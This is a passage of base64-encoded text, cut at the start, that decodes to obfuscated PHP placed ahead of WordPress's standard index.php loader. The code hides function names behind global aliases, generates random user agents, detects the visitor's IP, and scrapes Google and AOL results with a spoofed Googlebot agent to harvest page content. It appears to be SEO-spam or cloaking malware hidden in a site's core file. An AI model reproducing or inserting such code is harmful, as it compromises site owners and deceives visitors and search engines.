S4gJy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS8nIC4kR0xPQkFMU1siRkJpUVptdiJdKDUwLDYwKS4gJy4wLjMxMTIuOTAgU2FmYXJpLycgLiRHTE9CQUxTWyJGQmlRWm12Il0oNTAwLDYwMCkuICcuMzYnLCdNb3ppbGxhLzUuMCAoTWFjaW50b3NoOyBJbnRlbCBNYWMgT1MgWCAxMF8xNV83KSBBcHBsZVdlYktpdC82MDUuMS4xNSAoS0hUTUwsIGxpa2UgR2Vja28pIFZlcnNpb24vJyAuJEdMT0JBTFNbIkZCaVFabXYiXSgxMywxNikuICcuMCBTYWZhcmkvNjA1LjEuMTUnLCdNb3ppbGxhLzUuMCAoV2luZG93cyBOVCAxMC4wOyBXaW42NDsgeDY0KSBBcHBsZVdlYktpdC81MzcuMzYgKEtIVE1MLCBsaWtlIEdlY2tvKSBDaHJvbWUvJyAuJEdMT0JBTFNbIkZCaVFabXYiXSg5MCwxMDApLiAnLjAuNDQzMC4yMTIgU2FmYXJpLzUzNy4zNiBFZGcvJyAuJEdMT0JBTFNbIkZCaVFabXYiXSg5MCwxMDApLiAnLjAuMTE4NS40NCcsJ01vemlsbGEvNS4wIChXaW5kb3dzIE5UIDEwLjA7IFdpbjY0OyB4NjQpIEFwcGxlV2ViS2l0LzUzNy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS8nIC4kR0xPQkFMU1siRkJpUVptdiJdKDkwLDEwMCkuICcuMC40NDMwLjIxMiBTYWZhcmkvNTM3LjM2IE9QUi8nIC4kR0xPQkFMU1siRkJpUVptdiJdKDc2LDg2KS4gJy4wLjQwMTcuMTIzJywnTW96aWxsYS81LjAgKExpbnV4OyBBbmRyb2lkICcgLiRHTE9CQUxTWyJGQmlRWm12Il0oOCwxMikuICcuMDsgU00tRzknIC4kR0xPQkFMU1siRkJpUVptdiJdKDUsOSkuICcwRiBCdWlsZC9SMTZOVykgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLycgLiRHTE9CQUxTWyJGQmlRWm12Il0oOTAsMTAwKS4gJy4wLjQ0MzAuMjEyIE1vYmlsZSBTYWZhcmkvNTM3LjM2JywnTW96aWxsYS81LjAgKGlQaG9uZTsgQ1BVIGlQaG9uZSBPUyAnIC4kR0xPQkFMU1siRkJpUVptdiJdKDE0LDE2KS4gJ18nIC4kR0xPQkFMU1siRkJpUVptdiJdKDAsNSkuICcgbGlrZSBNYWMgT1MgWCkgQXBwbGVXZWJLaXQvNjA1LjEuMTUgKEtIVE1MLCBsaWtlIEdlY2tvKSBWZXJzaW9uLycgLiRHTE9CQUxTWyJGQmlRWm12Il0oMTQsMTYpLiAnLjAgTW9iaWxlLzE1RTE0OCBTYWZhcmkvNjA0LjEnLF07cmV0dXJuICR1c2VyX2FnZW50c1thcnJheV9yYW5kKCR1c2VyX2FnZW50cyldO31mdW5jdGlvbiBnZXRfY2xpZW50X2lwKCl7JEdMT0JBTFNbIktNZ1ZsV1EiXT0iZXhwbG9kZSI7JEdMT0JBTFNbIkZzRE9XT0oiXT0idHJpbSI7JGlwX2tleXM9YXJyYXkoJ0hUVFBfWF9GT1JXQVJERURfRk9SJywnSFRUUF9YX1JFQUxfSVAnLCdSRU1PVEVfQUREUicpO2ZvcmVhY2goJGlwX2tleXMgYXMgJGtleSl7aWYoYXJyYXlfa2V5X2V4aXN0cygka2V5LCRfU0VSVkVSKT09PXRydWUpe2ZvcmVhY2goJEdMT0JBTFNbIktNZ1ZsV1EiXSgnLCcsJF9TRVJWRVJbJGtleV0pYXMgJGlwKXskaXA9JEdMT0JBTFNbIkZzRE9XT0oiXSgkaXApO2lmKGZpbHRlcl92YXIoJGlwLEZJTFRFUl9WQUxJREFURV9JUCxGSUxURVJfRkxBR19JUFY0fEZJTFRFUl9GTEFHX0lQVjYpIT09ZmFsc2Upe2lmKCRrZXk9PT0nUkVNT1RFX0FERFInKXtyZXR1cm4gJGlwO31pZighaXNfcHJpdmF0ZV9pcCgkaXApKXtyZXR1cm4gJGlwO319fX19cmV0dXJuICd1bmtub3duJzt9ZnVuY3Rpb24gaXNfcHJpdmF0ZV9pcCgkaXApe3JldHVybiFmaWx0ZXJfdmFyKCRpcCxGSUxURVJfVkFMSURBVEVfSVAsRklMVEVSX0ZMQUdfTk9fUFJJVl9SQU5HRXxGSUxURVJfRkxBR19OT19SRVNfUkFOR0UpO31mdW5jdGlvbiBzcGlkZXIoJG5hbWUpeyRHTE9CQUxTWyJMUHlPZFl2Il09ImluX2FycmF5IjskR0xPQkFMU1siTnJLWWNydiJdPSJzdHJ0b2xvd2VyIjskR0xPQkFMU1siVWp3UVhKSiJdPSJzdHJpcG9zIjskR0xPQkFMU1siWXB0a2NmSiJdPSJ0cmltIjskR0xPQkFMU1siZFhudlJxSiJdPSJzdHJsZW4iO2dsb2JhbCAkdGltZW91dDskaHJlZlRlbXA9c3BpZGVyX3NlYXJjaCgkbmFtZSk7JGhyZWZBcnJheT1bXTtmb3JlYWNoKCRocmVmVGVtcCBhcyAkaHJlZil7JG5vbl93ZWJfZXh0ZW5zaW9ucz1bJ3BkZicsJ2RvYycsJ2RvY3gnLCd4bHMnLCd4bHN4JywncHB0JywncHB0eCddOyRmaWxlX2V4dGVuc2lvbj1wYXRoaW5mbyhwYXJzZV91cmwoJGhyZWYsUEhQX1VSTF9QQVRIKSxQQVRISU5GT19FWFRFTlNJT04pO2lmKCRHTE9CQUxTWyJMUHlPZFl2Il0oJEdMT0JBTFNbIk5yS1ljcnYiXSgkZmlsZV9leHRlbnNpb24pLCRub25fd2ViX2V4dGVuc2lvbnMpKXtjb250aW51ZSAxO31pZigkR0xPQkFMU1siVWp3UVhKSiJdKCRocmVmLCd5b3V0dWJlLmNvbScpIT09ZmFsc2V8fCRHTE9CQUxTWyJVandRWEpKIl0oJGhyZWYsJ3R3aXR0ZXIuY29tJykhPT1mYWxzZXx8JEdMT0JBTFNbIlVqd1FYSkoiXSgkaHJlZiwnYmluZy5jb20nKSE9PWZhbHNlKXtjb250aW51ZSAxO30kaHJlZkFycmF5W109JGhyZWY7fWlmKGVtcHR5KCRocmVmQXJyYXkpKXtyZXR1cm4gZmFsc2U7fXNodWZmbGUoJGhyZWZBcnJheSk7JGdvb2dsZXVhPSJNb3ppbGxhLzUuMCAoY29tcGF0aWJsZTsgR29vZ2xlYm90LzIuMTsgK2h0dHA6Ly93d3cuZ29vZ2xlLmNvbS9ib3QuaHRtbCkiO2ZvcmVhY2goJGhyZWZBcnJheSBhcyAkaHJlZil7JHNwaWRlcl9odG1sPWN1cmxfcmVxdWVzdCgkaHJlZiwkdGltZW91dCwkZ29vZ2xldWEsJGhyZWYpO2lmKCRzcGlkZXJfaHRtbCE9PWZhbHNlJiYkc3BpZGVyX2h0bWxbMF09PTIwMCl7JGh0bWx0ZXh0PSRHTE9CQUxTWyJZcHRrY2ZKIl0oJHNwaWRlcl9odG1sWzFdKTtpZigkR0xPQkFMU1siZFhudlJxSiJdKCRodG1sdGV4dCk+MjAwMCl7cmV0dXJuWyRocmVmLCRodG1sdGV4dF07fX19cmV0dXJuIGZhbHNlO31mdW5jdGlvbiBzcGlkZXJfc2VhcmNoKCRuYW1lKXskR0xPQkFMU1siZ0RVR21kUSJdPSJzdHJpcG9zIjskR0xPQkFMU1siWlVnY2hmdiJdPSJzdHJwb3MiOyRHTE9CQUxTWyJqUlp2VVlKIl09InN1YnN0ciI7JEdMT0JBTFNbIlBSZmZVREoiXT0icHJlZ19tYXRjaCI7Z2xvYmFsICR0aW1lb3V0OyRzZWFyY2hfdXJscz1bImdvb2dsZSI9PiJodHRwczovL3d3dy5nb29nbGUuY29tL3NlYXJjaD9xPSIgLiRuYW1lLiAiJmxyPWxhbmdfdGgiLCJhb2wiPT4iaHR0cHM6Ly9zZWFyY2guYW9sLmNvbS9hb2wvc2VhcmNoO195bHQ9P3A9IiAuJG5hbWVdOyRocmVmQXJyYXk9W107Zm9yZWFjaCgkc2VhcmNoX3VybHMgYXMgJGRvbWFpbj0+JHVybCl7JHJlc3VsdD1jdXJsX3JlcXVlc3QoJHVybCwkdGltZW91dCwnJywkdXJsKTtpZigkcmVzdWx0IT09ZmFsc2UmJiRyZXN1bHRbMF09PT0yMDApeyRkb209bmV3IERPTURvY3VtZW50KCk7QCRkb20tPmxvYWRIVE1MKCRyZXN1bHRbMV0sTElCWE1MX0hUTUxfTk9JTVBMSUVEfExJQlhNTF9IVE1MX05PREVGRFREKTskeHBhdGg9bmV3IERPTVhQYXRoKCRkb20pOyRhRWxlbWVudHM9JHhwYXRoLT5xdWVyeSgnLy9hJyk7Zm9yZWFjaCgkYUVsZW1lbnRzIGFzICRhKXskaHJlZj0kYS0+Z2V0QXR0cmlidXRlKCdocmVmJyk7aWYoJGhyZWYmJiRkb21haW49PSdnb29nbGUnKXskaHR0cHNQb3M9JEdMT0JBTFNbImdEVUdtZFEiXSgkaHJlZiwnaHR0cHM6Ly8nKTskdXJsUG9zPSRHTE9CQUxTWyJnRFVHbWRRIl0oJGhyZWYsJy91cmw/Jyk7aWYoJGh0dHBzUG9zIT09ZmFsc2UmJiRHTE9CQUxTWyJaVWdjaGZ2Il0oJGhyZWYsJ2dvb2dsZScpPT09ZmFsc2UmJiR1cmxQb3M9PT0wKXskaHJlZkFycmF5W109JEdMT0JBTFNbImpSWnZVWUoiXSgkaHJlZiwkaHR0cHNQb3MpO319ZWxzZSBpZigkaHJlZiYmJGRvbWFpbj09J2FvbCcpe2lmKCRHTE9CQUxTWyJQUmZmVURKIl0oJy9cL1JVPShodHRwc1teXC9dKlwvUks9KS8nLCRocmVmLCRtYXRjaGVzKSl7JGh0dHBzUGFydD0kR0xPQkFMU1sialJadlVZSiJdKCRtYXRjaGVzWzFdLDAsLTQpO2lmKCRHTE9CQUxTWyJaVWdjaGZ2Il0oJGh0dHBzUGFydCwnYW9sLmNvbScpPT09ZmFsc2UmJiRHTE9CQUxTWyJaVWdjaGZ2Il0oJGh0dHBzUGFydCwnb2F0aC5jb20nKT09PWZhbHNlKXskaHJlZkFycmF5W109dXJsZGVjb2RlKCRodHRwc1BhcnQpO319fX19aWYoIWVtcHR5KCRocmVmQXJyYXkpKXtyZXR1cm4gJGhyZWZBcnJheTt9fXJldHVybiAkaHJlZkFycmF5O30KCiAvKioKICogRnJvbnQgdG8gdGhlIFdvcmRQcmVzcyBhcHBsaWNhdGlvbi4gVGhpcyBmaWxlIGRvZXNuJ3QgZG8gYW55dGhpbmcsIGJ1dCBsb2FkcwogKiB3cC1ibG9nLWhlYWRlci5waHAgd2hpY2ggZG9lcyBhbmQgdGVsbHMgV29yZFByZXNzIHRvIGxvYWQgdGhlIHRoZW1lLgogKgogKiBAcGFja2FnZSBXb3JkUHJlc3MKICovCi8qKgogKiBUZWxscyBXb3JkUHJlc3MgdG8gbG9hZCB0aGUgV29yZFByZXNzIHRoZW1lIGFuZCBvdXRwdXQgaXQuCiAqCiAqIEB2YXIgYm9vbAogKi8KZGVmaW5lKCAnV1BfVVNFX1RIRU1FUycsIHRydWUgKTsKCi8qKiBMb2FkcyB0aGUgV29yZFByZXNzIEVudmlyb25tZW50IGFuZCBUZW1wbGF0ZSAqLwpyZXF1aXJlIF9fRElSX18gLiAnL3dwLWJsb2ctaGVhZGVyLnBocCc7